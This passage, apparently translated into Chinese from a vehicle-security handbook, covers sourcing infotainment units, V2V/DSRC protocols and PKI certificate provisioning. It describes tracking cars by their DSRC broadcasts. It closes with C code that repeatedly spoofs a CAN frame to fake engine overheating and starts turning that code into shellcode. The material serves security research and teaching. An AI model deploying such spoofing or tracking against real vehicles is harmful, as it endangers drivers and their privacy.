截至本文编写时,你应该能够在 AGL 网站上找到 VMware 的演示图像(最后发布于 2013 年),安装说明和适用于 x86 的可启动 USB 版本(automotivelinux.org/)。这些镜像设计用于在车载计算机硬件上运行,比如 Nexcom VTC-1000,这是一款无头 Linux 设备,配有 CAN 和触摸屏。与 GENIVI 项目不同,AGL 演示图像主要设计和测试用于在硬件上运行,尽管也可能可以在虚拟机中运行某些开发镜像。

正如你在图 9-10 中看到的,AGL 演示图像有一个非常漂亮的界面,但不要指望所有应用程序都能顺利运行,因为许多应用程序只是占位符,仍在积极开发中。由于 AGL 通常是在物理硬件上进行测试的,你需要花费大约 $1,000 来购买所需的硬件,以便顺利安装 AGL。也可以将图像运行在 QEMU 虚拟机上。(购买开发 IVI 系统的一个好处是,你可以编程使其与任何车辆兼容。)

image

图 9-10:汽车级 Linux 示例屏幕

获取 OEM IVI 进行测试

如果你决定运行一个物理 IVI 单元进行测试,你需要从现有车辆中拆下一个工厂(OEM)IVI 系统,或者购买一个开发 IVI,例如 Nexcom VTC-1000 或类似于 Tizen 硬件兼容性列表中提到的型号(wiki.tizen.org/wiki/IVI/IVI_Platforms)。

如果你选择走 OEM 工厂安装的路线,可以从经销商处购买一个,或者从废品场拉一个。直接从经销商处购买的开发和 OEM IVI 单元通常价格在 $800 到 $2,000 之间,因此从废品场拉一个会更具成本效益,尽管可能很难找到你目标的高端 IVI 系统。你还可以购买非 OEM 的市场后设备,如 Kenwood 或 Pioneer,这些设备虽然通常更便宜,但通常不会与车辆的 CAN 系统兼容。

不幸的是,从现代车辆中拆下收音机并不容易。你通常需要先拆掉仪表盘周围的塑料和收音机周围的塑料,才能将收音机从连接器中拆下。如果遇到收音机的防盗安全码,检查车主手册,看看是否能找到代码。如果找不到代码,记得记录下捐赠车辆的 VIN 码,因为你可能需要它来获取或重置防盗 PIN 码。(如果你从车辆中提取了 ECU,记住你也可以查询 ECU 来获得 VIN 码。)

你需要参考 IVI 系统的接线图,以便让它能够自行启动,但你可以忽略掉大部分不需要测试的电线。如果你正在构建基于 OEM 的单元,完全拆解该单元并连接任何测试接头可能是值得的,这样你不仅能让正常的 IVI 系统运行,还能够访问任何隐藏的连接器。

总结

现在,你应该已经能够分析现有的无线电系统了。我们已经讨论了如何在虚拟机或测试环境中安全地工作,以发现 IVI 系统中的漏洞。这些系统包含大量代码,是车辆中最强大的电子系统。掌握 IVI 单元将让你完全控制目标,而没有任何部分比 IVI 系统更集中于攻击面。在进行安全研究时,IVI 和远程信息处理系统将为你提供最有价值的漏洞,你会发现这些系统中的漏洞往往是远程的或无线的,并且直接连接到车辆的总线系统。

第十章:车辆对车辆通信

image

汽车技术的最新趋势是车对车(V2V)通信——或者在车辆与路侧设备通信的情况下,车对基础设施(V2I)通信。V2V 通信主要用于通过车辆与路侧设备之间的动态网状网络——即智能交通系统,向车辆传递安全和交通警告信息。这个网状网络连接了网络中的各个节点——车辆或设备,并在它们之间传递信息。

V2V 的前景非常广阔,以至于 2014 年 2 月,美国交通部宣布希望实施一项要求所有新型轻型车辆都必须配备基于 V2V 通信的规定,尽管截至目前,相关计划尚未最终确定。

V2V 是首个在设计阶段就考虑到网络安全威胁的汽车协议,而不是事后再进行考虑。V2V 的实施细节以及不同国家之间的互操作性仍在确定之中,因此许多流程和安全措施仍未决定。尽管如此,本章将回顾当前的设计考虑,旨在提供对未来可能会遇到的情况的指导。我们将详细阐述不同方法背后的思考,并讨论在 V2V 领域中可能部署的技术类型。我们还将讨论 V2V 通信中使用的几种协议及其传输的数据类型,并回顾 V2V 的安全考虑,以及安全研究人员应关注的领域。

注意

由于本章聚焦于尚未实施的技术,我们不会讨论各种特性的背后原因,也不会讨论制造商如何实施每一项特性,因为所有这些细节都可能会发生变化。

V2V 通信方法

在 V2V 通信的世界里,车辆与路侧设备的互动方式有三种:通过现有的蜂窝网络;使用专用短程通信(DSRC),这是一种短程通信协议;或者通过通信方式的组合。在本章中,我们将重点讨论 DSRC,因为它是最常见的 V2V 通信方式。

蜂窝网络

蜂窝通信不需要路侧传感器,现有的蜂窝网络已经具备安全系统,因此通信可以依赖于蜂窝运营商提供的安全方法。蜂窝网络提供的安全性是在无线层面(GSM),而不是协议层面。如果连接的设备使用的是 IP 流量,那么仍然需要应用标准的 IP 安全措施,如加密和减少攻击面。

DSRC

DSRC 需要在现代车辆和新的路侧设备中安装专用设备。由于 DSRC 是专门为 V2V 通信设计的,因此可以在广泛应用之前实施安全措施。DSRC 还比蜂窝通信更可靠,延迟更低。(更多关于 DSRC 的信息,请参见“DSRC 协议”在第 179 页)

混合

混合方法将蜂窝网络与 DSRC、Wi-Fi、卫星和其他任何合理的通信方式结合起来,例如未来的无线通信协议。

本章我们将重点讨论 DSRC,因为它是 V2V 基础设施特有的。DSRC 协议将是 V2V 部署的主要协议,你可能会看到它与其他通信方式混合使用。

注意

你可以使用传统的方法来分析通信,例如蜂窝、Wi-Fi、卫星等。这些信号的通信证据不一定意味着车辆正在使用 V2V 通信。然而,如果你看到 DSRC 正在传输,你就知道该车辆已实现 V2V。

V2V 缩略语的乐趣

汽车行业像任何政府一样喜爱缩略语,V2V 也不例外。事实上,不同国家之间缺乏统一的 V2V 标准,意味着 V2V 缩略语的世界可能会特别混乱,因为一致性不足,并且有不少困惑。为了帮助你,以下是一些你在研究 V2V 相关主题时可能遇到的缩略语:

ASD 后市场安全设备

DSRC 专用短程通信

OBE 车载设备

RSE 路侧设备

SCMS 安全凭证管理系统

V2I, C2I 车对基础设施,或车对基础设施(欧洲)

V2V, C2C 车对车,或车对车(欧洲)

V2X, C2X 车对任何设备,或车对任何设备(欧洲)

VAD 车辆感知设备

VII, ITS 车辆基础设施集成,智能交通系统

WAVE 车辆环境无线接入

WSMP WAVE 短消息协议

DSRC 协议

DRSC 是专门为车辆与车辆之间或车辆与路侧设备之间的无线通信建立的一种一或双向短程无线通信系统。

DSRC 在 5.85 到 5.925 GHz 的频段内运行,该频段专门用于 V2V 和 V2I 通信。DSRC 设备的发射功率将决定其范围。路侧设备可以在更高功率范围内发射,允许最高达到 1,000 米的规格,而车辆则只能以提供大约 300 米范围的功率水平进行广播。

DSRC 基于无线 802.11p 和 1609.x 协议。基于 DSRC 和 Wi-Fi 的系统,如车辆环境无线接入(WAVE),使用 IEEE 1609.3 规范或 WAVE 短消息协议(WSMP)。这些消息是单一数据包,大小不超过 1500 字节,通常小于 500 字节。(网络嗅探工具如 Wireshark 可以解码 WAVE 数据包,方便进行流量嗅探。)

DSRC 数据速率取决于同时访问本地系统的用户数量。在单个用户情况下,通常数据速率为 6 到 12 Mbps,而在高流量区域——例如,八车道高速公路——用户的速率可能只有 100 到 500 Kbps。一个典型的 DSRC 系统在高流量条件下可支持接近 100 个用户,但如果车辆的行驶速度为 60 km/h(或 37 mph),则通常仅能支持约 32 个用户。(这些数据速率是根据交通部的报告《为联网车辆分析通信数据交付系统》估算的。^(1))

DSRC 系统专用的 5.9 GHz 频段通道数量因国家而异。例如,美国系统设计支持七个通道,其中一个通道作为专用控制通道,用于发送短小的高优先级管理数据包。欧洲设计支持三个通道,没有专用控制通道。这种差异主要源于各国推动该技术的驱动因素不同:欧洲的系统是由市场驱动,而美国的系统则有强大的车辆安全倡议支撑。因此,尽管这些协议可以互操作,但支持和发送的消息类型会显著不同。(在日本,DSRC 目前用于收费收取,但日本也计划使用 760 MHz 频段来进行碰撞避免。日本的 5.8 GHz 通道不使用 802.11p,但它们仍应支持 1609.2 V2V 安全框架。)

注意

虽然欧洲和美国都使用 802.11p 和 ECDSA-256 加密,但这两个系统并不完全兼容。截止目前,它们在技术上存在各种差异,例如签名栈在数据包中的位置。没有足够的技术原因解释这种标准化缺失,希望在广泛应用之前能够修正此问题。

功能和应用

所有 DSRC 实现都提供便利和安全特性,但其功能有所不同。例如,欧洲的 DSRC 系统将使用 DSRC 进行以下操作:

共享汽车 将像今天的车辆共享服务(例如 car2go)一样运作,区别在于,它不再通过第三方车辆钥匙设备连接到 OBD-II 接口来控制车辆,而是使用 V2I 协议。

连接兴趣点 类似于传统导航系统中的兴趣点,如餐馆或加油站,但将通过广播发送给经过的车辆。

诊断与维护 将通过 DSRC 报告车辆发动机灯亮起的原因,而不需要通过 OBD 连接器读取代码

保险用途的驾驶行为档案 将取代记录驾驶行为的保险式车载设备

电子收费通知 将允许在收费站进行自动支付(目前已在日本进行测试)

车队管理 将允许监控车队车辆,如用于货运和运输服务的车辆

停车信息 将记录停车时长,并可能取代传统的停车计时器

像美国这样以安全为主的区域,更关注于传递关于以下事项的警告:

紧急车辆接近 将通知车辆即将有紧急车辆接近

危险位置 将警告驾驶员有危险,例如结冰的桥面或路面,或落石等

摩托车接近 将提示有摩托车经过

道路施工 将通知驾驶员即将进行的施工

慢速车辆 将提前通知由于缓慢行驶的农用车或超大车辆导致的交通拥堵或交通减速

静止(碰撞)车辆 将警告已发生故障或最近发生碰撞的车辆

被盗车辆恢复 可能类似于 LoJack 服务,它通过无线电信标帮助执法部门定位被盗车辆

通过 DSRC 实现的额外通信类别包括交通管理;执法,如通信车速或追踪车辆;驾驶员辅助,如停车辅助或车道引导;以及高速公路自动化项目,如使用 V2I 道路帮助导航的自动驾驶车辆。

路边 DSRC 系统

路边 DSRC 系统还用于向车辆传递标准化信息和更新,内容包括交通数据、危险或道路施工警告。欧洲电信标准化协会(ETSI)设计了两种连续交通数据格式,两者均使用 802.11p 协议:合作意识消息(CAM)和去中心化环境通知消息(DENM)。

用于定期车辆状态交换的 CAM

CAM 数据包通过 V2X 网络定期广播。ETSI 定义了 CAM 的数据包大小为 800 字节,报告速率为 2 赫兹。该协议仍处于初步阶段。如果你将来遇到 CAM,它们可能会与目前的提案有所不同,但我们会包括当前提议的特征,以便你了解未来 CAM 协议的预期。

CAM 数据包包含 ITS PDU 头部和站点 ID,以及一个或多个站点特征和车辆通用参数。

站点特征可能包括以下内容:

• 移动 ITS 站

• 物理相关 ITS 站

• 私人 ITS 站

• 配置参数

• 参考位置

车辆常见参数可能包括以下内容:

• 加速

• 加速置信度

• 加速可控性

• 置信椭圆

• 碰撞状态(可选)

• 曲率

• 曲率变化(可选)

• 曲率置信度

• 危险品(可选)

• 停车线距离(可选)

• 门打开(可选)

• 外部灯光

• 标题置信度

• 占用情况(可选)

• 站点长度

• 站点长度置信度(可选)

• 站点宽度

• 站点宽度置信度(可选)

• 转换建议(可选)

• 车辆速度

• 车辆速度置信度

• 车辆类型

• 偏航率

• 偏航率置信度

尽管一些参数标记为可选,但实际上在某些情况下是强制性的。例如,基本的车辆信息——二进制站点 ID 为 111——必须报告碰撞状态以及车辆是否携带危险品(如果已知)。紧急车辆——二进制站点 ID 为 101——必须报告其警灯和警笛是否启用。公共交通车辆——站点 ID 同样为 101——需要报告其进出门是否开启,也可以报告调度偏差和载客人数。

用于事件触发安全通知的 DENM

DENM 是事件驱动的消息。与 CAM 按周期发送并定期更新不同,DENM 由安全和道路危害警告触发。以下情况可能会发送消息:

• 碰撞风险(由路侧设备确定)

• 进入危险区域

• 急刹车

• 强风

• 能见度差

• 降水

• 路面附着力

• 路面施工

• 信号违规

• 交通拥堵

• 事故中涉及的车辆

• 逆行驾驶

这些消息会在触发它们的条件消失或过了设定的过期时间后停止。

DENM 还可以发送取消或否定事件的消息。例如,如果路侧设备检测到一辆车逆行,可能会发送事件通知附近的驾驶员。一旦驾驶员将车辆驶入正确车道,设备可以发送取消事件,表示风险已消除。

表 10-1 显示了 DENM 数据包的包结构和字节位置。

表 10-1: DENM 数据包的包结构和字节位置

容器 名称 字节起始位置 字节结束位置 备注
ITS 头部 协议版本 1 1 ITS 版本
消息 ID 2 2 消息类型
生成时间 3 8 时间戳
管理 发起者 ID 9 12 ITS 站点 ID
序列号 13 14
数据版本 15 15 255 = 取消
过期时间 16 21 时间戳
频率 21 21 传输频率
可靠性 22 22 事件为真的概率。位 1..7
是否为否定 22 22 1 == 否定。位 0
情况 原因代码 23 23
子原因代码 24 24
严重性 25 25
位置 纬度 26 29
经度 30 33
高度 34 35
精度 36 39
保留 40 n 可变大小

还有可选消息。例如,情境容器可能包括 TrafficFlowEffectLinkedCauseEventCharacteristicsVehicleCommonParametersProfileParameters,就像 CAN 结构一样。

WAVE 标准

WAVE 标准是基于 DSRC 的系统,在美国用于车辆数据包通信。WAVE 标准包含了 802.11p 标准以及涵盖 OSI 模型的 1609.x 标准。以下是这些标准的目的:

802.11p 定义了 5.9 GHz WAVE 协议(Wi-Fi 标准的修改版);还具有随机本地 MAC 地址

1609.2 安全服务

1609.3 UDP/TCP IPv6 和 LLC 支持

1609.4 定义了通道使用

1609.5 通信管理器

1609.11 无线电子支付和数据交换协议

1609.12 WAVE 标识符

注意

要更详细地探索 WAVE 标准,可以使用前面列表中的 OSI 编号来在线查阅相关参考文档。

WSMP 用于服务和控制通道。WAVE 仅在服务通道上使用最新的 Internet 协议 IPv6。IPv6 由 WAVE 管理实体(WME)配置,并处理通道分配及监控服务公告。(WME 是 WAVE 独有的,负责协议的开销和维护。)控制通道用于服务公告和来自安全应用的短消息。

WSMP 消息的格式如 图 10-1 所示。

image

图 10-1:WSMP 消息格式

路边设备或由车辆托管的应用程序类型由提供者服务标识符(PSID)定义。服务的实际公告来自 WAVE 服务公告(WSA)数据包,其结构如 表 10-2 所示。

表 10-2: WAVE 服务公告数据包

部分 元素
WSA 头 WAVE 版本 EXT 字段

| 服务信息 | WAVE 元素 ID PSID

服务优先级

通道索引

EXT 字段 |

| 通道信息 | WAVE 元素操作通道

通道编号

可适应

数据速率

发射功率

EXT. 字段 |

| WAVE 路由广告 | WAVE 元素路由器生命周期

IP 前缀

前缀长度

默认网关

网关 MAC

主 DNS

EXT. 字段 |

如果车辆的 PSID 与广告的 PSID 匹配,车辆将开始通信。

使用 DSRC 跟踪车辆

一种利用 DSRC 通信的攻击方式是车辆追踪。如果攻击者可以通过购买支持 DSRC 的设备或使用软件定义无线电(SDR)创建自己的 DSRC 接收器,他们就能够接收接收器范围内的车辆信息,例如车辆的尺寸、位置、速度、方向以及过去 300 米内的历史路径,并利用这些信息追踪目标车辆。例如,如果攻击者知道目标车辆的品牌和型号及其尺寸,他们可以在目标车辆的家附近设置接收器,远程探测目标车辆何时超出 DSRC 接收器的范围。这将告诉攻击者目标车主何时离开家。这种方法使得攻击者能够在车主试图遮掩身份信息时,仍然追踪并识别车辆活动。

车辆尺寸信息通过以下四个字段进行传输:

• 长度

• 车身宽度

• 车身高度

• 保险杠高度(可选)

这些信息应该精确到英寸的几分之一,因为它是由制造商设定的。攻击者可以利用这些尺寸信息准确地确定一辆车的品牌和型号。例如,表 10-3 列出了本田雅阁的尺寸。

表 10-3: 本田雅阁的尺寸

长度 车身宽度 车身高度 保险杠高度
191.4 英寸 72.8 英寸 57.5 英寸 5.8 英寸

根据这些尺寸以及其他一些信息,例如目标通过传感器的估计时间,攻击者可以确定目标是否经过传感器,并追踪该目标。

安全隐患

在 V2V 实施中还有其他攻击潜力,正如碰撞避免度量伙伴关系(CAMP)所调查的那样,CAMP 是一个由多家汽车制造商组成的小组,旨在进行不同的安全相关研究。2010 年 12 月,CAMP 通过其车辆安全联盟(VSC3)对 V2V 系统进行了攻击分析。分析主要集中在核心的 DSRC/WAVE 协议,并尝试将攻击者的目标与潜在攻击匹配。图 10-2 展示了该联盟根据攻击者目标总结的研究结果。

image

图 10-2:攻击者目标与攻击方式的交叉

这张表格展示了恶意行为者在攻击 V2V 系统时可能的目标,以及他们可能发动的攻击类型,以实现这些目标。图表的顶部列出了攻击者可能的目标和他们可能关注的领域。图表相对简单,但可以让你对需要进一步研究的领域有一些了解。

基于 PKI 的安全措施

虽然 V2V 背后的许多技术和安全措施仍在完善中,但我们知道,蜂窝通信、DSRC 和混合通信的安全性基于与网站上 SSL 模型类似的公钥基础设施(PKI)模型。通过生成公钥和私钥对,PKI 系统允许用户创建数字签名,用于加密和解密通过网络发送的文档。公钥可以公开交换,并用于加密目的地之间的数据。一旦加密,只有私钥才能解密数据。数据使用发送方的私钥进行签名,以验证其来源。

PKI 使用公钥加密和中央证书颁发机构(CAs)来验证公钥。CA 是一个受信任的来源,可以为给定的目的地颁发和吊销公钥。V2V PKI 系统有时也被称为安全凭证管理系统(SCMS)

为了使 PKI 系统能够正常运行,它必须强制执行以下规则:

问责 身份应通过受信任的签名进行验证。

完整性 签名数据必须可验证,以确保其在传输过程中没有被篡改。

不可否认性 交易必须被签名。

隐私 交通必须加密。

信任 CA 必须是受信任的。

V2V 和 V2I 系统依赖于 PKI 和 CA 来确保数据传输的安全,尽管 CA 的身份尚未确定。这与您的浏览器在互联网中使用的系统相同。在浏览器的设置屏幕中,您应能找到一个 HTTPS/SSL 部分,列出所有授权的根证书颁发机构。当您从这些 CAs 中购买证书并在 Web 服务器上使用时,其他浏览器将验证此证书与 CA 的匹配,以确保它是受信任的。在普通的 PKI 系统中,设置环境的公司控制 CA,但在 V2V 中,政府组织或国家可能会控制 CA。

车辆证书

用于确保当前互联网通信安全的 PKI 系统具有较大的证书文件,但由于存储空间有限且需要避免 DSRC 信道的拥堵,车辆 PKI 系统要求使用更短的密钥。为了满足这一需求,车辆 PKI 系统使用椭圆曲线加密(ECDSA-256)密钥,这些密钥生成的证书仅为互联网证书大小的八分之一。

参与 V2V 通信的车辆使用两种类型的证书:

长期证书(LTC)

该证书包含车辆标识符,并且可以被吊销。它用于获取短期证书的续期。

短期伪名证书(PC)

该证书具有较短的有效期,因此不需要被吊销,因为它会自动过期。它用于匿名传输,适用于常见的消息,如刹车或道路状况。

匿名证书

公钥基础设施(PKI)系统通常用于识别发送方,但由于信息是广播给未知车辆和设备的,因此确保 V2V 系统不发送可追溯的信息(例如,带有源端签名的数据包)变得非常重要。

因此,V2V 规范中有一项规定,允许您匿名签名数据包,仅提供足够的信息以表明数据包来自“认证终端”。尽管这比发送由作者签名的数据包更为安全,但仍然有可能有人检查给定路线上的匿名证书签名,并确定车辆所行驶的路线(就像您可能使用从轮胎压力监测器传感器发送的唯一 ID 来追踪车辆的行驶进度一样)。为此,规范指出,设备应使用短期证书,这些证书的有效期仅为五分钟。

然而,目前正在开发的系统计划使用 20 个或更多同时有效、有效期为一周的证书,这可能会成为安全漏洞。

证书配置

证书是通过一种名为证书配置的过程生成的。车对车(V2V)系统使用大量的短期证书,这些证书需要定期配置,以便为设备补充证书,以便其能够用于匿名消息传递。V2V 证书系统中隐私如何运作的详细内容实际上相当复杂,如图 10-3 中的 CAMP 图所示。

在我们回顾证书配置过程如何工作时,准备好迎接大量与幼虫相关的术语——如毛虫、蛹和蝴蝶——的引用:

  1. 首先,设备——即车辆——生成一个被称为“毛虫”密钥对,它将公钥和高级加密标准(AES)扩展编号发送到注册授权机构(RA)。

  2. 注册授权机构(RA)从毛虫公钥以及扩展编号生成一堆被称为“蛹”的公钥。这些公钥将成为新的私钥。密钥的数量是任意的,与请求密钥的设备无关。(截至本文撰写时,请求中包含来自链接授权机构的一些 ID 信息,并应当将请求与其他车辆的请求进行混合。这种混合旨在帮助隐藏每个请求来自哪辆车,从而提升隐私性。)

  3. 假名证书授权机构(PCA)对蛹密钥进行随机化,并生成“蝴蝶”密钥。然后,这些密钥通过加密通道返回到原始设备,确保注册授权机构(RA)无法看到内容。

image

图 10-3:证书配置流程图

理论上,发起设备可以请求足够多的短期密钥来支持车辆的整个生命周期,这也是证书撤销列表(CRL)非常重要的原因。如果车辆持有一个月的证书,它将在一个月内不会检查新更新,因此恶意行为者可以继续与这辆车通信,直到更新为止。如果车辆持有一年的证书或更多,并且没有 CRL 功能,那么情况可能会变得非常糟糕,因为它将无法识别恶意行为者。

注意

请注意证书配置图中的位置隐匿代理(LOP)。这是一个过滤器,用于从请求中移除可识别的信息,如位置。在请求应该经过 LOP 过滤后,再由 RA 查看。

更新证书撤销列表

CRL 是一个“坏”证书的列表。证书有时会失效,可能是因为它们被攻击者破坏,或者被所有者丢失,或者因为设备的行为不当,导致 CA 认为其有害。设备必须更新其 CRL,以便能够确定哪些证书(如果有的话)不再可信。

CRL 可能很大,并且通过 DSRC 或机会性 Wi-Fi 下载整个列表并不总是可行的。因此,大多数系统会实施增量更新周期,这一周期由制造商决定,但即使这样也可能会引发问题。DSRC 要求路边设备发送列表,但为了接收大块数据,车辆必须足够慢地通过路边设备,以便有足够时间接收 CRL。由于大多数设备将设置在主要高速公路上,只有少数设置在支路上,因此车辆接收更新列表的唯一机会可能是在交通堵塞时。因此,获取更新后的 CRL 的最佳方式是通过蜂窝或全卫星通信,尽管这仍然较慢。通过高速蜂窝或全卫星链路,如果需要,车辆将能够接收增量更新或完整下载。

一种分发更新后的证书撤销列表(CRL)的方法是让车辆通过 V2V 接口相互传递更新。尽管车辆可能无法与路边设备保持足够长的时间以完成更新,但它肯定会在行驶过程中遇到成百上千的其他车辆。

V2V 更新的风险

虽然通过 V2V 接口进行更新非常诱人,因为它显著降低了基础设施成本和开销(因为你无需投资大量额外的路侧基础设施),但它也有其局限性。首先,车辆可能只能从周围朝同一方向行驶的汽车那里接收 CRL 下载,只有在这些车辆长时间相邻时才能完成下载;而朝相反方向行驶的车辆可能会太快通过。此 V2V 方法还为恶意行为者提供了注入恶意 CRL 的机会,这可能会阻止合法设备或隐藏不良行为者,而该恶意 CRL 可能会像病毒一样在交通中传播。

不幸的是,V2V 协议安全性完全侧重于通信协议。车载系统,如 ECU,负责请求和存储 CRL、报告不当行为以及发送车辆信息,但这个不安全的系统为攻击者提供了一个容易的入口,能够注入他们的代码。攻击者不仅可以接管执行实际 V2V 通信的设备,还可以简单地修改 ECU 固件或在总线上伪造数据包,V2V 设备然后会忠实地签名并将信息发送到网络。正因为这个后者的漏洞,这种方法被非正式地称为疫情传播模型

关联机构

在处理数千个伪名或短期证书时,吊销可能是噩梦,这就是关联机构(LA)发挥作用的地方。LA 可以通过一条 CRL 记录撤销来自一辆车的所有生成证书。这样,即使恶意行为者在被识别并封锁之前收集了大量证书,LA 仍然可以将其关闭。

注意

大多数 V2V 系统都被设计为支持一个与 CRL 独立的内部黑名单。制造商或设备可以将任何设备列入黑名单。

不当行为报告

V2V 和 V2I 系统正被设计为允许发送不当行为报告,从标准的车辆故障到黑客干扰系统的通知。这些不当行为报告应该触发证书的吊销。但是,车辆如何知道自己是否收到了被篡改的数据包呢?这个答案因汽车行业而异,但总体概念是 ECU 或其他设备会接收数据包并检查它是否“合理”。例如,接收设备可能会将信息与 GPS 信号进行验证,或识别出报告中车辆以不合常理的速度行驶,比如 500 英里每小时。当发现错误时,车辆应该发送不当行为报告,最终导致该证书的吊销。一个不当行为管理机构(MA)将负责识别并吊销不当行为设备的证书。

一个有趣的场景是,考虑到某个车辆的 CRL 更新间隔较低,或者该车辆长时间未接近路边设备,导致其持有过时的吊销列表。这样的车辆可能会在不知情的情况下转发错误信息,从而被报告为恶意行为者,并可能导致其证书被吊销。那么,接下来会发生什么呢?车辆何时能够重新获得信任?

在进行安全测试时,请确保将这些可能的场景纳入你的研究范围。

摘要

本章讨论了 V2V 通信的计划。V2V 设备仍在开发中,许多部署决策仍需做出。在这项技术逐步推广的过程中,不同的供应商会以不同的方式解读规则,这可能会导致有趣的安全漏洞。希望随着这些早期设备逐渐进入市场,本章能成为执行安全审计的有用指南。

第十一章:武器化 CAN 发现

image

现在您可以探索并识别 CAN 数据包,接下来是时候将这些知识付诸实践,学习如何破解某些东西。您已经使用识别的数据包在车辆上执行了操作,但通过数据包解锁或启动汽车更多的是侦察,而不是实际的黑客攻击。本章的目标是展示如何将您的发现进行武器化。在软件世界中,武器化指的是“将一个漏洞变得易于执行。”当您首次发现一个漏洞时,可能需要多个步骤和特定的知识才能成功利用该漏洞。而武器化一个发现则能够让您将研究成果转化为一个独立的可执行文件。

在本章中,我们将看到如何执行一个操作——例如解锁一辆车——并将其融入 Metasploit 中,Metasploit 是一个设计用来利用软件漏洞的安全审计工具。Metasploit 是一个广泛使用的攻击框架,通常用于渗透测试。它拥有一个庞大的功能性漏洞库和有效载荷,有效载荷是指系统被攻击后执行的代码——例如,车辆被解锁后执行的代码。您可以在线和印刷版中找到大量关于 Metasploit 的信息,包括Metasploit: The Penetration Tester’s Guide(No Starch Press, 2011)。

为了武器化您的发现,您需要编写代码。在本章中,我们将编写一个 Metasploit 有效载荷,旨在攻击信息娱乐系统或车载通信系统的架构。作为我们的第一个练习,我们将编写Shellcode,即注入到漏洞中的小段代码,用于创建一个 CAN 信号来控制车辆的温度计。我们将包括一个循环,确保伪造的 CAN 信号持续发送,并内置延迟以防止总线被数据包淹没,避免造成意外的拒绝服务攻击。接下来,我们将编写控制温度计的代码。然后,我们将把这段代码转换为 Shellcode,以便我们能够进行微调,使 Shellcode 变得更小或减少空值(NULL 值)。完成后,我们将拥有一个有效载荷,可以将其放入一个专用工具中或与像 Metasploit 这样的攻击框架一起使用。

注意

为了充分理解本章内容,您需要对编程及编程方法有较好的理解。我假设您对 C 语言和汇编语言(包括 x86 和 ARM 架构)以及 Metasploit 框架有一定的了解。

用 C 语言编写漏洞代码

我们将使用 C 语言编写这个伪造的 CAN 信号的漏洞代码,因为 C 语言编译后生成的汇编代码较为简洁,我们可以利用这些汇编代码来制作我们的 Shellcode。我们将使用 vcan0,一个虚拟 CAN 设备,来测试这个漏洞,但在实际攻击中,您应使用 can0 或您目标的真实 CAN 总线设备。列表 11-1 显示了temp_shell漏洞代码。

注意

您需要创建一个虚拟 CAN 设备来测试此程序。有关详细信息,请参阅第三章。

在 清单 11-1 中,我们创建了一个 CAN 包,仲裁 ID 为 0x510,并将第二个字节设置为 0xFF。0x510 包的第二个字节表示发动机温度。通过将该值设置为 0xFF,我们将报告的发动机温度调到最大值,从而表示车辆正在过热。这个包需要反复发送才能有效。

--- temp_shell.c
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/ioctl.h>
 #include <net/if.h>
 #include <netinet/in.h>
 #include <linux/can.h>
 #include <string.h>

 int main(int argc, char *argv[]) {
     int s;
     struct sockaddr_can addr;

     struct ifreq ifr;
     struct can_frame frame;

     s = socket(➊PF_CAN, SOCK_RAW, CAN_RAW);

     strcpy(ifr.ifr_name, ➋"vcan0");
     ioctl(s, SIOCGIFINDEX, &ifr);

     addr.can_family = AF_CAN;
     addr.can_ifindex = ifr.ifr_ifindex;

     bind(s, (struct sockaddr *)&addr, sizeof(addr));

➌    frame.can_id = 0x510;
     frame.can_dlc = 8;
     frame.data[1] = 0xFF;
     while(1) {
       write(s, &frame, sizeof(struct can_frame));
➍      usleep(500000);
     }
 }

清单 11-1: C 循环发送 CAN ID 0x510

清单 11-1 几乎以和设置正常网络套接字相同的方式设置了一个套接字,唯一不同的是它使用了 CAN 系列 PF_CAN ➊。我们使用 ifr_name 来定义我们希望监听的接口——在这种情况下是 "vcan0" ➋。

我们可以使用一个简单的帧结构来设置我们的帧,该结构与我们的包匹配,其中 can_id ➌ 包含仲裁 ID,can_dlc 包含包的长度,data[] 数组包含包的内容。

我们想要多次发送这个包,因此我们设置了一个 while 循环并设置了一个休眠定时器 ➍ 来定期发送该包。(如果没有 sleep 语句,你会导致总线拥堵,其他信号将无法正常通信。)

为了确认这段代码有效,可以按如下方式进行编译:

$ gcc -o temp_shellcode temp_shellcode.c
$ ls -l temp_shell
-rwxrwxr-x 1 craig craig 8722 Jan 6 07:39 temp_shell
$ ./temp_shellcode

现在,在另一个窗口中运行 candump,并在 vcan0 上查看输出,如下一个清单所示。temp_shellcode 程序应该发送必要的 CAN 包来控制温度计。

$ candump vcan0
  vcan0  ➊510   [8]   ➋5D  ➌FF  ➍40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00

candump 结果显示信号 0x510 ➊ 被反复广播,第二个字节正确设置为 0xFF ➌。注意 CAN 包的其他值被设置为我们没有指定的值,例如 0x5D ➋ 和 0x40 ➍。这是因为我们没有初始化 frame.data 部分,信号的其他字节中存在一些内存垃圾。为了去除这些内存垃圾,在你确定信号时,将 0x510 信号的其他字节设置为你在测试中记录的值——也就是说,将其他字节设置为 frame.data[]

转换为汇编代码

尽管我们的 temp_shell 程序很小,但它仍然几乎有 9KB,因为我们是用 C 语言编写的,其中包含了一些其他库和代码存根,增加了程序的大小。我们希望我们的 shellcode 尽可能小,因为通常只有一个很小的内存区域可供我们的利用代码运行,而 shellcode 越小,它可以注入的地方就越多。

为了缩小程序的大小,我们将把 C 代码转换为汇编代码,然后再转换为汇编 shellcode。如果你已经熟悉汇编语言,你可以直接从一开始就用汇编写代码,但大多数人发现先在 C 语言中测试有效载荷更容易。

编写这个脚本与标准汇编脚本的唯一区别是你需要避免创建 NULL 值,因为你可能需要将 shellcode 注入到可能会以 NULL 结尾的缓冲区中。例如,作为字符串处理的缓冲区会扫描值,并在看到 NULL 值时停止。如果你的有效载荷中间有 NULL,代码就无法正常工作。(如果你知道你的有效载荷永远不会在作为字符串处理的缓冲区中使用,那么你可以跳过这一步。)

注意

另外,你也可以使用编码器将有效载荷包装起来,以隐藏任何 NULL 值,但这样做会增加它的大小,而使用编码器超出了本章的范围。你也不会像在标准程序中那样有一个数据段来存储所有的字符串和常量值。我们希望我们的代码是自给自足的,不依赖于 ELF 头部为我们设置任何值,所以如果我们想在有效载荷中使用字符串,我们必须在如何将它们放置到栈上方面发挥创造性。

为了将 C 代码转换为汇编,你需要查看系统的头文件。所有方法调用都会直接进入内核,你可以在这个头文件中看到它们:

/usr/include/asm/unistd_64.h

在这个示例中,我们将使用 64 位汇编,它使用以下寄存器:%rax%rbx%rcx%rdx%rsi%rdi%rbp%rsp%r8%r15%rip%eflags%cs%ss%ds%es%fs%gs

